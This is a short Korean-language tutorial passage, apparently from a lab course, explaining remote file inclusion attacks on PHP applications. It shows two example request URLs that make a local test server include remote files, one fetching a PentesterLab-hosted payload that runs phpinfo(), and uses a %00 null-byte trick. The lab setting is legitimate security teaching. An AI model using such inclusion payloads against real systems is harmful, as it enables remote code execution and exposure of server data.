원격 파일 포함 (RFI) 공격
이 단계에서는 원격 파일 포함의 개념과 잠재적인 취약점에 대해 자세히 알아보겠습니다.
원격 파일 포함은 공격자가 외부 서버에서 파일을 포함할 수 있도록 허용할 수 있는 중요한 문제입니다. 이는 원격 코드 실행 또는 민감한 데이터 노출과 같은 심각한 보안 침해로 이어질 수 있습니다.
외부 서버에서 호스팅된 원격 파일을 포함하려는 예시부터 시작해 보겠습니다.
http://localhost:81/index.php?page=https://www.example.com/index.html%00
이것을 실행하면 웹 애플리케이션의 응답에 포함된 원격 파일의 내용을 볼 수 있습니다.
실제 시나리오에서 공격자는 일반적으로 자신이 제어하는 서버에 자체 악성 페이로드를 호스팅한 다음 원격 파일 포함 취약점을 사용하여 이를 포함하려고 시도합니다.
이 데모의 목적을 위해 PentesterLab 웹사이트에서 미리 호스팅된 페이로드를 사용합니다.
http://localhost:81/index.php?page=https://assets.pentesterlab.com/test_include.txt%00
이 페이로드는 phpinfo() 함수를 트리거하여 서버의 PHP 구성에 대한 정보를 공개합니다.
이것은 잠재적인 취약점에 대한 데모임을 기억하십시오. 자체 애플리케이션을 구축할 때는 이러한 공격을 방지하기 위해 적절한 보안 조치를 구현하는 것이 중요합니다. 다음 섹션에서는 이러한 보안 관행 중 일부에 대해 이야기하겠습니다.